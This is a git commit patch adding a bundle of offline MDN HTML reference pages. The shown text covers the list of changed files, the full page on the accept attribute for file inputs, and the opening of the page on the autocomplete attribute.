From 754bbf7a25a8dda49b5d08ef0d0443bbf5af0e36 Mon Sep 17 00:00:00 2001 From: Craig Jennings Date: Sun, 7 Apr 2024 13:41:34 -0500 Subject: new repository --- devdocs/html/attributes%2Faccept.html | 153 +++ devdocs/html/attributes%2Fautocomplete.html | 186 +++ devdocs/html/attributes%2Fcapture.html | 80 ++ devdocs/html/attributes%2Fcrossorigin.html | 202 ++++ devdocs/html/attributes%2Fdirname.html | 159 +++ devdocs/html/attributes%2Fdisabled.html | 392 +++++++ devdocs/html/attributes%2Felementtiming.html | 26 + devdocs/html/attributes%2Ffor.html | 113 ++ devdocs/html/attributes%2Fmax.html | 154 +++ devdocs/html/attributes%2Fmaxlength.html | 114 ++ devdocs/html/attributes%2Fmin.html | 129 +++ devdocs/html/attributes%2Fminlength.html | 125 ++ devdocs/html/attributes%2Fmultiple.html | 159 +++ devdocs/html/attributes%2Fpattern.html | 143 +++ devdocs/html/attributes%2Fplaceholder.html | 137 +++ devdocs/html/attributes%2Freadonly.html | 144 +++ devdocs/html/attributes%2Frel%2Fdns-prefetch.html | 56 + devdocs/html/attributes%2Frel%2Fmanifest.html | 53 + devdocs/html/attributes%2Frel%2Fme.html | 17 + devdocs/html/attributes%2Frel%2Fmodulepreload.html | 104 ++ devdocs/html/attributes%2Frel%2Fnoopener.html | 53 + devdocs/html/attributes%2Frel%2Fnoreferrer.html | 51 + devdocs/html/attributes%2Frel%2Fpreconnect.html | 68 ++ devdocs/html/attributes%2Frel%2Fprefetch.html | 81 ++ devdocs/html/attributes%2Frel%2Fpreload.html | 210 ++++ devdocs/html/attributes%2Frel%2Fprerender.html | 56 + devdocs/html/attributes%2Frel.html | 395 +++++++ devdocs/html/attributes%2Frequired.html | 48 + devdocs/html/attributes%2Fsize.html | 48 + devdocs/html/attributes%2Fstep.html | 82 ++ devdocs/html/attributes.html | 67 ++ devdocs/html/constraint_validation.html | 168 +++ devdocs/html/content_categories.html | 85 ++ devdocs/html/cors_enabled_image.html | 69 ++ devdocs/html/date_and_time_formats.html | 81 ++ devdocs/html/element%2Fa.html | 585 ++++++++++ devdocs/html/element%2Fabbr.html | 155 +++ devdocs/html/element%2Facronym.html | 79 ++ devdocs/html/element%2Faddress.html | 90 ++ devdocs/html/element%2Farea.html | 293 +++++ devdocs/html/element%2Farticle.html | 112 ++ devdocs/html/element%2Faside.html | 85 ++ devdocs/html/element%2Faudio.html | 266 +++++ devdocs/html/element%2Fb.html | 78 ++ devdocs/html/element%2Fbase.html | 117 ++ devdocs/html/element%2Fbdi.html | 113 ++ devdocs/html/element%2Fbdo.html | 82 ++ devdocs/html/element%2Fbig.html | 101 ++ devdocs/html/element%2Fblockquote.html | 107 ++ devdocs/html/element%2Fbody.html | 255 +++++ devdocs/html/element%2Fbr.html | 113 ++ devdocs/html/element%2Fbutton.html | 290 +++++ devdocs/html/element%2Fcanvas.html | 163 +++ devdocs/html/element%2Fcaption.html | 116 ++ devdocs/html/element%2Fcenter.html | 86 ++ devdocs/html/element%2Fcite.html | 75 ++ devdocs/html/element%2Fcode.html | 80 ++ devdocs/html/element%2Fcol.html | 195 ++++ devdocs/html/element%2Fcolgroup.html | 192 ++++ devdocs/html/element%2Fdata.html | 80 ++ devdocs/html/element%2Fdatalist.html | 159 +++ devdocs/html/element%2Fdd.html | 83 ++ devdocs/html/element%2Fdel.html | 133 +++ devdocs/html/element%2Fdetails.html | 249 ++++ devdocs/html/element%2Fdfn.html | 141 +++ devdocs/html/element%2Fdialog.html | 225 ++++ devdocs/html/element%2Fdir.html | 78 ++ devdocs/html/element%2Fdiv.html | 129 +++ devdocs/html/element%2Fdl.html | 193 ++++ devdocs/html/element%2Fdt.html | 63 ++ devdocs/html/element%2Fem.html | 84 ++ devdocs/html/element%2Fembed.html | 171 +++ devdocs/html/element%2Ffieldset.html | 158 +++ devdocs/html/element%2Ffigcaption.html | 62 + devdocs/html/element%2Ffigure.html | 148 +++ devdocs/html/element%2Ffont.html | 112 ++ devdocs/html/element%2Ffooter.html | 101 ++ devdocs/html/element%2Fform.html | 292 +++++ devdocs/html/element%2Fframe.html | 199 ++++ devdocs/html/element%2Fframeset.html | 114 ++ devdocs/html/element%2Fhead.html | 93 ++ devdocs/html/element%2Fheader.html | 108 ++ devdocs/html/element%2Fheading_elements.html | 171 +++ devdocs/html/element%2Fhgroup.html | 92 ++ devdocs/html/element%2Fhr.html | 176 +++ devdocs/html/element%2Fhtml.html | 131 +++ devdocs/html/element%2Fi.html | 79 ++ devdocs/html/element%2Fiframe.html | 435 +++++++ devdocs/html/element%2Fimage.html | 55 + devdocs/html/element%2Fimg.html | 529 +++++++++ devdocs/html/element%2Finput%2Fbutton.html | 290 +++++ devdocs/html/element%2Finput%2Fcheckbox.html | 288 +++++ devdocs/html/element%2Finput%2Fcolor.html | 206 ++++ devdocs/html/element%2Finput%2Fdate.html | 390 +++++++ devdocs/html/element%2Finput%2Fdatetime-local.html | 211 ++++ devdocs/html/element%2Finput%2Femail.html | 261 +++++ devdocs/html/element%2Finput%2Ffile.html | 271 +++++ devdocs/html/element%2Finput%2Fhidden.html | 139 +++ devdocs/html/element%2Finput%2Fimage.html | 229 ++++ devdocs/html/element%2Finput%2Fmonth.html | 347 ++++++ devdocs/html/element%2Finput%2Fnumber.html | 374 ++++++ devdocs/html/element%2Finput%2Fpassword.html | 255 +++++ devdocs/html/element%2Finput%2Fradio.html | 282 +++++ devdocs/html/element%2Finput%2Frange.html | 340 ++++++ devdocs/html/element%2Finput%2Freset.html | 140 +++ devdocs/html/element%2Finput%2Fsearch.html | 307 +++++ devdocs/html/element%2Finput%2Fsubmit.html | 160 +++ devdocs/html/element%2Finput%2Ftel.html | 379 +++++++ devdocs/html/element%2Finput%2Ftext.html | 297 +++++ devdocs/html/element%2Finput%2Ftime.html | 409 +++++++ devdocs/html/element%2Finput%2Furl.html | 268 +++++ devdocs/html/element%2Finput%2Fweek.html | 280 +++++ devdocs/html/element%2Finput.html | 1191 ++++++++++++++++++++ devdocs/html/element%2Fins.html | 131 +++ devdocs/html/element%2Fkbd.html | 155 +++ devdocs/html/element%2Flabel.html | 163 +++ devdocs/html/element%2Flegend.html | 78 ++ devdocs/html/element%2Fli.html | 152 +++ devdocs/html/element%2Flink.html | 503 +++++++++ devdocs/html/element%2Fmain.html | 125 ++ devdocs/html/element%2Fmap.html | 110 ++ devdocs/html/element%2Fmark.html | 129 +++ devdocs/html/element%2Fmarquee.html | 276 +++++ devdocs/html/element%2Fmenu.html | 154 +++ devdocs/html/element%2Fmenuitem.html | 81 ++ .../html/element%2Fmeta%2Fname%2Ftheme-color.html | 70 ++ devdocs/html/element%2Fmeta%2Fname.html | 166 +++ devdocs/html/element%2Fmeta.html | 131 +++ devdocs/html/element%2Fmeter.html | 198 ++++ devdocs/html/element%2Fnav.html | 105 ++ devdocs/html/element%2Fnobr.html | 59 + devdocs/html/element%2Fnoembed.html | 65 ++ devdocs/html/element%2Fnoframes.html | 80 ++ devdocs/html/element%2Fnoscript.html | 71 ++ devdocs/html/element%2Fobject.html | 324 ++++++ devdocs/html/element%2Fol.html | 237 ++++ devdocs/html/element%2Foptgroup.html | 119 ++ devdocs/html/element%2Foption.html | 127 +++ devdocs/html/element%2Foutput.html | 124 ++ devdocs/html/element%2Fp.html | 163 +++ devdocs/html/element%2Fparam.html | 134 +++ devdocs/html/element%2Fpicture.html | 108 ++ devdocs/html/element%2Fplaintext.html | 62 + devdocs/html/element%2Fportal.html | 73 ++ devdocs/html/element%2Fpre.html | 183 +++ devdocs/html/element%2Fprogress.html | 144 +++ devdocs/html/element%2Fq.html | 78 ++ devdocs/html/element%2Frb.html | 91 ++ devdocs/html/element%2Frp.html | 85 ++ devdocs/html/element%2Frt.html | 76 ++ devdocs/html/element%2Frtc.html | 83 ++ devdocs/html/element%2Fruby.html | 91 ++ devdocs/html/element%2Fs.html | 105 ++ devdocs/html/element%2Fsamp.html | 119 ++ .../html/element%2Fscript%2Ftype%2Fimportmap.html | 159 +++ ...element%2Fscript%2Ftype%2Fspeculationrules.html | 258 +++++ devdocs/html/element%2Fscript%2Ftype.html | 111 ++ devdocs/html/element%2Fscript.html | 361 ++++++ devdocs/html/element%2Fsearch.html | 147 +++ devdocs/html/element%2Fsection.html | 118 ++ devdocs/html/element%2Fselect.html | 548 +++++++++ devdocs/html/element%2Fslot.html | 128 +++ devdocs/html/element%2Fsmall.html | 96 ++ devdocs/html/element%2Fsource.html | 255 +++++ devdocs/html/element%2Fspan.html | 96 ++ devdocs/html/element%2Fstrike.html | 71 ++ devdocs/html/element%2Fstrong.html | 103 ++ devdocs/html/element%2Fstyle.html | 230 ++++ devdocs/html/element%2Fsub.html | 112 ++ devdocs/html/element%2Fsummary.html | 145 +++ devdocs/html/element%2Fsup.html | 111 ++ devdocs/html/element%2Ftable.html | 546 +++++++++ devdocs/html/element%2Ftbody.html | 292 +++++ devdocs/html/element%2Ftd.html | 274 +++++ devdocs/html/element%2Ftemplate.html | 179 +++ devdocs/html/element%2Ftextarea.html | 379 +++++++ devdocs/html/element%2Ftfoot.html | 160 +++ devdocs/html/element%2Fth.html | 277 +++++ devdocs/html/element%2Fthead.html | 159 +++ devdocs/html/element%2Ftime.html | 117 ++ devdocs/html/element%2Ftitle.html | 94 ++ devdocs/html/element%2Ftr.html | 400 +++++++ devdocs/html/element%2Ftrack.html | 182 +++ devdocs/html/element%2Ftt.html | 106 ++ devdocs/html/element%2Fu.html | 145 +++ devdocs/html/element%2Ful.html | 179 +++ devdocs/html/element%2Fvar.html | 115 ++ devdocs/html/element%2Fvideo.html | 369 ++++++ devdocs/html/element%2Fwbr.html | 78 ++ devdocs/html/element%2Fxmp.html | 61 + devdocs/html/element.html | 73 ++ devdocs/html/global_attributes%2Faccesskey.html | 74 ++ .../html/global_attributes%2Fautocapitalize.html | 57 + devdocs/html/global_attributes%2Fautofocus.html | 68 ++ devdocs/html/global_attributes%2Fclass.html | 57 + .../html/global_attributes%2Fcontenteditable.html | 80 ++ devdocs/html/global_attributes%2Fcontextmenu.html | 131 +++ devdocs/html/global_attributes%2Fdata-%2A.html | 74 ++ devdocs/html/global_attributes%2Fdir.html | 61 + devdocs/html/global_attributes%2Fdraggable.html | 57 + devdocs/html/global_attributes%2Fenterkeyhint.html | 66 ++ devdocs/html/global_attributes%2Fexportparts.html | 55 + devdocs/html/global_attributes%2Fhidden.html | 140 +++ devdocs/html/global_attributes%2Fid.html | 61 + devdocs/html/global_attributes%2Finert.html | 66 ++ devdocs/html/global_attributes%2Finputmode.html | 61 + devdocs/html/global_attributes%2Fis.html | 79 ++ devdocs/html/global_attributes%2Fitemid.html | 81 ++ devdocs/html/global_attributes%2Fitemprop.html | 292 +++++ devdocs/html/global_attributes%2Fitemref.html | 87 ++ devdocs/html/global_attributes%2Fitemscope.html | 146 +++ devdocs/html/global_attributes%2Fitemtype.html | 117 ++ devdocs/html/global_attributes%2Flang.html | 152 +++ devdocs/html/global_attributes%2Fnonce.html | 113 ++ devdocs/html/global_attributes%2Fpart.html | 55 + devdocs/html/global_attributes%2Fpopover.html | 65 ++ devdocs/html/global_attributes%2Fslot.html | 60 + devdocs/html/global_attributes%2Fspellcheck.html | 62 + devdocs/html/global_attributes%2Fstyle.html | 57 + devdocs/html/global_attributes%2Ftabindex.html | 64 ++ devdocs/html/global_attributes%2Ftitle.html | 130 +++ devdocs/html/global_attributes%2Ftranslate.html | 67 ++ .../global_attributes%2Fvirtualkeyboardpolicy.html | 60 + devdocs/html/global_attributes.html | 638 +++++++++++ devdocs/html/index | 1 + devdocs/html/index.html | 24 + devdocs/html/metadata | 2 + devdocs/html/microdata.html | 69 ++ devdocs/html/quirks_mode_and_standards_mode.html | 31 + devdocs/html/reference.html | 8 + devdocs/html/viewport_meta_tag.html | 44 + 231 files changed, 36567 insertions(+) create mode 100644 devdocs/html/attributes%2Faccept.html create mode 100644 devdocs/html/attributes%2Fautocomplete.html create mode 100644 devdocs/html/attributes%2Fcapture.html create mode 100644 devdocs/html/attributes%2Fcrossorigin.html create mode 100644 devdocs/html/attributes%2Fdirname.html create mode 100644 devdocs/html/attributes%2Fdisabled.html create mode 100644 devdocs/html/attributes%2Felementtiming.html create mode 100644 devdocs/html/attributes%2Ffor.html create mode 100644 devdocs/html/attributes%2Fmax.html create mode 100644 devdocs/html/attributes%2Fmaxlength.html create mode 100644 devdocs/html/attributes%2Fmin.html create mode 100644 devdocs/html/attributes%2Fminlength.html create mode 100644 devdocs/html/attributes%2Fmultiple.html create mode 100644 devdocs/html/attributes%2Fpattern.html create mode 100644 devdocs/html/attributes%2Fplaceholder.html create mode 100644 devdocs/html/attributes%2Freadonly.html create mode 100644 devdocs/html/attributes%2Frel%2Fdns-prefetch.html create mode 100644 devdocs/html/attributes%2Frel%2Fmanifest.html create mode 100644 devdocs/html/attributes%2Frel%2Fme.html create mode 100644 devdocs/html/attributes%2Frel%2Fmodulepreload.html create mode 100644 devdocs/html/attributes%2Frel%2Fnoopener.html create mode 100644 devdocs/html/attributes%2Frel%2Fnoreferrer.html create mode 100644 devdocs/html/attributes%2Frel%2Fpreconnect.html create mode 100644 devdocs/html/attributes%2Frel%2Fprefetch.html create mode 100644 devdocs/html/attributes%2Frel%2Fpreload.html create mode 100644 devdocs/html/attributes%2Frel%2Fprerender.html create mode 100644 devdocs/html/attributes%2Frel.html create mode 100644 devdocs/html/attributes%2Frequired.html create mode 100644 devdocs/html/attributes%2Fsize.html create mode 100644 devdocs/html/attributes%2Fstep.html create mode 100644 devdocs/html/attributes.html create mode 100644 devdocs/html/constraint_validation.html create mode 100644 devdocs/html/content_categories.html create mode 100644 devdocs/html/cors_enabled_image.html create mode 100644 devdocs/html/date_and_time_formats.html create mode 100644 devdocs/html/element%2Fa.html create mode 100644 devdocs/html/element%2Fabbr.html create mode 100644 devdocs/html/element%2Facronym.html create mode 100644 devdocs/html/element%2Faddress.html create mode 100644 devdocs/html/element%2Farea.html create mode 100644 devdocs/html/element%2Farticle.html create mode 100644 devdocs/html/element%2Faside.html create mode 100644 devdocs/html/element%2Faudio.html create mode 100644 devdocs/html/element%2Fb.html create mode 100644 devdocs/html/element%2Fbase.html create mode 100644 devdocs/html/element%2Fbdi.html create mode 100644 devdocs/html/element%2Fbdo.html create mode 100644 devdocs/html/element%2Fbig.html create mode 100644 devdocs/html/element%2Fblockquote.html create mode 100644 devdocs/html/element%2Fbody.html create mode 100644 devdocs/html/element%2Fbr.html create mode 100644 devdocs/html/element%2Fbutton.html create mode 100644 devdocs/html/element%2Fcanvas.html create mode 100644 devdocs/html/element%2Fcaption.html create mode 100644 devdocs/html/element%2Fcenter.html create mode 100644 devdocs/html/element%2Fcite.html create mode 100644 devdocs/html/element%2Fcode.html create mode 100644 devdocs/html/element%2Fcol.html create mode 100644 devdocs/html/element%2Fcolgroup.html create mode 100644 devdocs/html/element%2Fdata.html create mode 100644 devdocs/html/element%2Fdatalist.html create mode 100644 devdocs/html/element%2Fdd.html create mode 100644 devdocs/html/element%2Fdel.html create mode 100644 devdocs/html/element%2Fdetails.html create mode 100644 devdocs/html/element%2Fdfn.html create mode 100644 devdocs/html/element%2Fdialog.html create mode 100644 devdocs/html/element%2Fdir.html create mode 100644 devdocs/html/element%2Fdiv.html create mode 100644 devdocs/html/element%2Fdl.html create mode 100644 devdocs/html/element%2Fdt.html create mode 100644 devdocs/html/element%2Fem.html create mode 100644 devdocs/html/element%2Fembed.html create mode 100644 devdocs/html/element%2Ffieldset.html create mode 100644 devdocs/html/element%2Ffigcaption.html create mode 100644 devdocs/html/element%2Ffigure.html create mode 100644 devdocs/html/element%2Ffont.html create mode 100644 devdocs/html/element%2Ffooter.html create mode 100644 devdocs/html/element%2Fform.html create mode 100644 devdocs/html/element%2Fframe.html create mode 100644 devdocs/html/element%2Fframeset.html create mode 100644 devdocs/html/element%2Fhead.html create mode 100644 devdocs/html/element%2Fheader.html create mode 100644 devdocs/html/element%2Fheading_elements.html create mode 100644 devdocs/html/element%2Fhgroup.html create mode 100644 devdocs/html/element%2Fhr.html create mode 100644 devdocs/html/element%2Fhtml.html create mode 100644 devdocs/html/element%2Fi.html create mode 100644 devdocs/html/element%2Fiframe.html create mode 100644 devdocs/html/element%2Fimage.html create mode 100644 devdocs/html/element%2Fimg.html create mode 100644 devdocs/html/element%2Finput%2Fbutton.html create mode 100644 devdocs/html/element%2Finput%2Fcheckbox.html create mode 100644 devdocs/html/element%2Finput%2Fcolor.html create mode 100644 devdocs/html/element%2Finput%2Fdate.html create mode 100644 devdocs/html/element%2Finput%2Fdatetime-local.html create mode 100644 devdocs/html/element%2Finput%2Femail.html create mode 100644 devdocs/html/element%2Finput%2Ffile.html create mode 100644 devdocs/html/element%2Finput%2Fhidden.html create mode 100644 devdocs/html/element%2Finput%2Fimage.html create mode 100644 devdocs/html/element%2Finput%2Fmonth.html create mode 100644 devdocs/html/element%2Finput%2Fnumber.html create mode 100644 devdocs/html/element%2Finput%2Fpassword.html create mode 100644 devdocs/html/element%2Finput%2Fradio.html create mode 100644 devdocs/html/element%2Finput%2Frange.html create mode 100644 devdocs/html/element%2Finput%2Freset.html create mode 100644 devdocs/html/element%2Finput%2Fsearch.html create mode 100644 devdocs/html/element%2Finput%2Fsubmit.html create mode 100644 devdocs/html/element%2Finput%2Ftel.html create mode 100644 devdocs/html/element%2Finput%2Ftext.html create mode 100644 devdocs/html/element%2Finput%2Ftime.html create mode 100644 devdocs/html/element%2Finput%2Furl.html create mode 100644 devdocs/html/element%2Finput%2Fweek.html create mode 100644 devdocs/html/element%2Finput.html create mode 100644 devdocs/html/element%2Fins.html create mode 100644 devdocs/html/element%2Fkbd.html create mode 100644 devdocs/html/element%2Flabel.html create mode 100644 devdocs/html/element%2Flegend.html create mode 100644 devdocs/html/element%2Fli.html create mode 100644 devdocs/html/element%2Flink.html create mode 100644 devdocs/html/element%2Fmain.html create mode 100644 devdocs/html/element%2Fmap.html create mode 100644 devdocs/html/element%2Fmark.html create mode 100644 devdocs/html/element%2Fmarquee.html create mode 100644 devdocs/html/element%2Fmenu.html create mode 100644 devdocs/html/element%2Fmenuitem.html create mode 100644 devdocs/html/element%2Fmeta%2Fname%2Ftheme-color.html create mode 100644 devdocs/html/element%2Fmeta%2Fname.html create mode 100644 devdocs/html/element%2Fmeta.html create mode 100644 devdocs/html/element%2Fmeter.html create mode 100644 devdocs/html/element%2Fnav.html create mode 100644 devdocs/html/element%2Fnobr.html create mode 100644 devdocs/html/element%2Fnoembed.html create mode 100644 devdocs/html/element%2Fnoframes.html create mode 100644 devdocs/html/element%2Fnoscript.html create mode 100644 devdocs/html/element%2Fobject.html create mode 100644 devdocs/html/element%2Fol.html create mode 100644 devdocs/html/element%2Foptgroup.html create mode 100644 devdocs/html/element%2Foption.html create mode 100644 devdocs/html/element%2Foutput.html create mode 100644 devdocs/html/element%2Fp.html create mode 100644 devdocs/html/element%2Fparam.html create mode 100644 devdocs/html/element%2Fpicture.html create mode 100644 devdocs/html/element%2Fplaintext.html create mode 100644 devdocs/html/element%2Fportal.html create mode 100644 devdocs/html/element%2Fpre.html create mode 100644 devdocs/html/element%2Fprogress.html create mode 100644 devdocs/html/element%2Fq.html create mode 100644 devdocs/html/element%2Frb.html create mode 100644 devdocs/html/element%2Frp.html create mode 100644 devdocs/html/element%2Frt.html create mode 100644 devdocs/html/element%2Frtc.html create mode 100644 devdocs/html/element%2Fruby.html create mode 100644 devdocs/html/element%2Fs.html create mode 100644 devdocs/html/element%2Fsamp.html create mode 100644 devdocs/html/element%2Fscript%2Ftype%2Fimportmap.html create mode 100644 devdocs/html/element%2Fscript%2Ftype%2Fspeculationrules.html create mode 100644 devdocs/html/element%2Fscript%2Ftype.html create mode 100644 devdocs/html/element%2Fscript.html create mode 100644 devdocs/html/element%2Fsearch.html create mode 100644 devdocs/html/element%2Fsection.html create mode 100644 devdocs/html/element%2Fselect.html create mode 100644 devdocs/html/element%2Fslot.html create mode 100644 devdocs/html/element%2Fsmall.html create mode 100644 devdocs/html/element%2Fsource.html create mode 100644 devdocs/html/element%2Fspan.html create mode 100644 devdocs/html/element%2Fstrike.html create mode 100644 devdocs/html/element%2Fstrong.html create mode 100644 devdocs/html/element%2Fstyle.html create mode 100644 devdocs/html/element%2Fsub.html create mode 100644 devdocs/html/element%2Fsummary.html create mode 100644 devdocs/html/element%2Fsup.html create mode 100644 devdocs/html/element%2Ftable.html create mode 100644 devdocs/html/element%2Ftbody.html create mode 100644 devdocs/html/element%2Ftd.html create mode 100644 devdocs/html/element%2Ftemplate.html create mode 100644 devdocs/html/element%2Ftextarea.html create mode 100644 devdocs/html/element%2Ftfoot.html create mode 100644 devdocs/html/element%2Fth.html create mode 100644 devdocs/html/element%2Fthead.html create mode 100644 devdocs/html/element%2Ftime.html create mode 100644 devdocs/html/element%2Ftitle.html create mode 100644 devdocs/html/element%2Ftr.html create mode 100644 devdocs/html/element%2Ftrack.html create mode 100644 devdocs/html/element%2Ftt.html create mode 100644 devdocs/html/element%2Fu.html create mode 100644 devdocs/html/element%2Ful.html create mode 100644 devdocs/html/element%2Fvar.html create mode 100644 devdocs/html/element%2Fvideo.html create mode 100644 devdocs/html/element%2Fwbr.html create mode 100644 devdocs/html/element%2Fxmp.html create mode 100644 devdocs/html/element.html create mode 100644 devdocs/html/global_attributes%2Faccesskey.html create mode 100644 devdocs/html/global_attributes%2Fautocapitalize.html create mode 100644 devdocs/html/global_attributes%2Fautofocus.html create mode 100644 devdocs/html/global_attributes%2Fclass.html create mode 100644 devdocs/html/global_attributes%2Fcontenteditable.html create mode 100644 devdocs/html/global_attributes%2Fcontextmenu.html create mode 100644 devdocs/html/global_attributes%2Fdata-%2A.html create mode 100644 devdocs/html/global_attributes%2Fdir.html create mode 100644 devdocs/html/global_attributes%2Fdraggable.html create mode 100644 devdocs/html/global_attributes%2Fenterkeyhint.html create mode 100644 devdocs/html/global_attributes%2Fexportparts.html create mode 100644 devdocs/html/global_attributes%2Fhidden.html create mode 100644 devdocs/html/global_attributes%2Fid.html create mode 100644 devdocs/html/global_attributes%2Finert.html create mode 100644 devdocs/html/global_attributes%2Finputmode.html create mode 100644 devdocs/html/global_attributes%2Fis.html create mode 100644 devdocs/html/global_attributes%2Fitemid.html create mode 100644 devdocs/html/global_attributes%2Fitemprop.html create mode 100644 devdocs/html/global_attributes%2Fitemref.html create mode 100644 devdocs/html/global_attributes%2Fitemscope.html create mode 100644 devdocs/html/global_attributes%2Fitemtype.html create mode 100644 devdocs/html/global_attributes%2Flang.html create mode 100644 devdocs/html/global_attributes%2Fnonce.html create mode 100644 devdocs/html/global_attributes%2Fpart.html create mode 100644 devdocs/html/global_attributes%2Fpopover.html create mode 100644 devdocs/html/global_attributes%2Fslot.html create mode 100644 devdocs/html/global_attributes%2Fspellcheck.html create mode 100644 devdocs/html/global_attributes%2Fstyle.html create mode 100644 devdocs/html/global_attributes%2Ftabindex.html create mode 100644 devdocs/html/global_attributes%2Ftitle.html create mode 100644 devdocs/html/global_attributes%2Ftranslate.html create mode 100644 devdocs/html/global_attributes%2Fvirtualkeyboardpolicy.html create mode 100644 devdocs/html/global_attributes.html create mode 100644 devdocs/html/index create mode 100644 devdocs/html/index.html create mode 100644 devdocs/html/metadata create mode 100644 devdocs/html/microdata.html create mode 100644 devdocs/html/quirks_mode_and_standards_mode.html create mode 100644 devdocs/html/reference.html create mode 100644 devdocs/html/viewport_meta_tag.html (limited to 'devdocs/html') diff --git a/devdocs/html/attributes%2Faccept.html b/devdocs/html/attributes%2Faccept.html new file mode 100644 index 00000000..3de38bcb --- /dev/null +++ b/devdocs/html/attributes%2Faccept.html @@ -0,0 +1,153 @@ +

HTML attribute: accept

The accept attribute takes as its value a comma-separated list of one or more file types, or unique file type specifiers, describing which file types to allow.

+

Try it

+
+

Overview

+
+

The accept property is an attribute of the file <input> type. It was supported on the <form> element, but was removed in favor of file.

Because a given file type may be identified in more than one manner, it's useful to provide a thorough set of type specifiers when you need files of specific type, or use the wild card to denote a type of any format is acceptable.

For instance, there are a number of ways Microsoft Word files can be identified, so a site that accepts Word files might use an <input> like this:

+

html

+
<input
+  type="file"
+  id="docpicker"
+  accept=".doc,.docx,application/msword,application/vnd.openxmlformats-officedocument.wordprocessingml.document" />
+
+

Whereas if you're accepting a media file, you may want to be include any format of that media type:

+

html

+
<input type="file" id="soundFile" accept="audio/*" />
+<input type="file" id="videoFile" accept="video/*" />
+<input type="file" id="imageFile" accept="image/*" />
+
+

The accept attribute doesn't validate the types of the selected files; it provides hints for browsers to guide users towards selecting the correct file types. It is still possible (in most cases) for users to toggle an option in the file chooser that makes it possible to override this and select any file they wish, and then choose incorrect file types.

Because of this, you should make sure that expected requirement is validated server-side.

+
+

Examples

+
+

When set on a file input type, the native file picker that opens up should only enable selecting files of the correct file type. Most operating systems lighten the files that don't match the criteria and aren't selectable.

+

html

+
<p>
+  <label for="soundFile">Select an audio file:</label>
+  <input type="file" id="soundFile" accept="audio/*" />
+</p>
+<p>
+  <label for="videoFile">Select a video file:</label>
+  <input type="file" id="videoFile" accept="video/*" />
+</p>
+<p>
+  <label for="imageFile">Select some images:</label>
+  <input type="file" id="imageFile" accept="image/*" multiple />
+</p>
+
+
+
+ + +

Note the last example allows you to select multiple images. See the multiple attribute for more information.

+
+

Unique file type specifiers

+
+

A unique file type specifier is a string that describes a type of file that may be selected by the user in an <input> element of type file. Each unique file type specifier may take one of the following forms:

The accept attribute takes as its value a string containing one or more of these unique file type specifiers, separated by commas. For example, a file picker that needs content that can be presented as an image, including both standard image formats and PDF files, might look like this:

+

html

+
<input type="file" accept="image/*,.pdf" />
+
+
+
+

Using file inputs

+ +

A basic example

+
+
+

html

+
<form method="post" enctype="multipart/form-data">
+  <div>
+    <label for="file">Choose file to upload</label>
+    <input type="file" id="file" name="file" multiple />
+  </div>
+  <div>
+    <button>Submit</button>
+  </div>
+</form>
+
+

This produces the following output:

+
+ + +

Note: You can find this example on GitHub too — see the source code, and also see it running live.

Regardless of the user's device or operating system, the file input provides a button that opens up a file picker dialog that allows the user to choose a file.

Including the multiple attribute, as shown above, specifies that multiple files can be chosen at once. The user can choose multiple files from the file picker in any way that their chosen platform allows (e.g. by holding down Shift or Control, and then clicking). If you only want the user to choose a single file per <input>, omit the multiple attribute.

+
+

Limiting accepted file types

+
+

Often you won't want the user to be able to pick any arbitrary type of file; instead, you often want them to select files of a specific type or types. For example, if your file input lets users upload a profile picture, you probably want them to select web-compatible image formats, such as JPEG or PNG.

Acceptable file types can be specified with the accept attribute, which takes a comma-separated list of allowed file extensions or MIME types. Some examples:

Let's look at a more complete example:

+

html

+
<form method="post" enctype="multipart/form-data">
+  <div>
+    <label for="profile_pic">Choose file to upload</label>
+    <input
+      type="file"
+      id="profile_pic"
+      name="profile_pic"
+      accept=".jpg, .jpeg, .png" />
+  </div>
+  <div>
+    <button>Submit</button>
+  </div>
+</form>
+
+
+
+ + +
+
+

Specifications

+
+ + +
Specification
HTML Standard
# attr-input-accept
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
accept11216≤12.114.4184≤12.111.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Attributes/accept +

+
diff --git a/devdocs/html/attributes%2Fautocomplete.html b/devdocs/html/attributes%2Fautocomplete.html new file mode 100644 index 00000000..258d2299 --- /dev/null +++ b/devdocs/html/attributes%2Fautocomplete.html @@ -0,0 +1,186 @@ +

HTML attribute: autocomplete

+

The HTML autocomplete attribute lets web developers specify what if any permission the user agent has to provide automated assistance in filling out form field values, as well as guidance to the browser as to the type of information expected in the field.

It is available on <input> elements that take a text or numeric value as input, <textarea> elements, <select> elements, and <form> elements.

The source of the suggested values is generally up to the browser; typically values come from past values entered by the user, but they may also come from pre-configured values. For instance, a browser might let the user save their name, address, phone number, and email addresses for autocomplete purposes. Perhaps the browser offers the ability to save encrypted credit card information, for autocompletion following an authentication procedure.

If an <input>, <select> or <textarea> element has no autocomplete attribute, then browsers use the autocomplete attribute of the element's form owner, which is either the <form> element that the element is a descendant of, or the <form> whose id is specified by the form attribute of the element (see the <form> autocomplete attribute).

Note: In order to provide autocompletion, user-agents might require <input>/<select>/<textarea> elements to:

  1. Have a name and/or id attribute
  2. Be descendants of a <form> element
  3. The form to have a submit button
+
+

Try it

+
+

Values

+
+
+"off"

The browser is not permitted to automatically enter or select a value for this field. It is possible that the document or application provides its own autocomplete feature, or that security concerns require that the field's value not be automatically entered.

Note: In most modern browsers, setting autocomplete to "off" will not prevent a password manager from asking the user if they would like to save username and password information, or from automatically filling in those values in a site's login form. See the autocomplete attribute and login fields.

+"on"

The browser is allowed to automatically complete the input. No guidance is provided as to the type of data expected in the field, so the browser may use its own judgement.

+"name"

The field expects the value to be a person's full name. Using "name" rather than breaking the name down into its components is generally preferred because it avoids dealing with the wide diversity of human names and how they are structured; however, you can use the following autocomplete values if you do need to break the name down into its components:

+"honorific-prefix"

The prefix or title, such as "Mrs.", "Mr.", "Miss", "Ms.", "Dr.", or "Mlle.".

+"given-name"

The given (or "first") name.

+"additional-name"

The middle name.

+"family-name"

The family (or "last") name.

+"honorific-suffix"

The suffix, such as "Jr.", "B.Sc.", "PhD.", "MBASW", or "IV".

+"nickname"

A nickname or handle.

+"email"

An email address.

+"username"

A username or account name.

+"new-password"

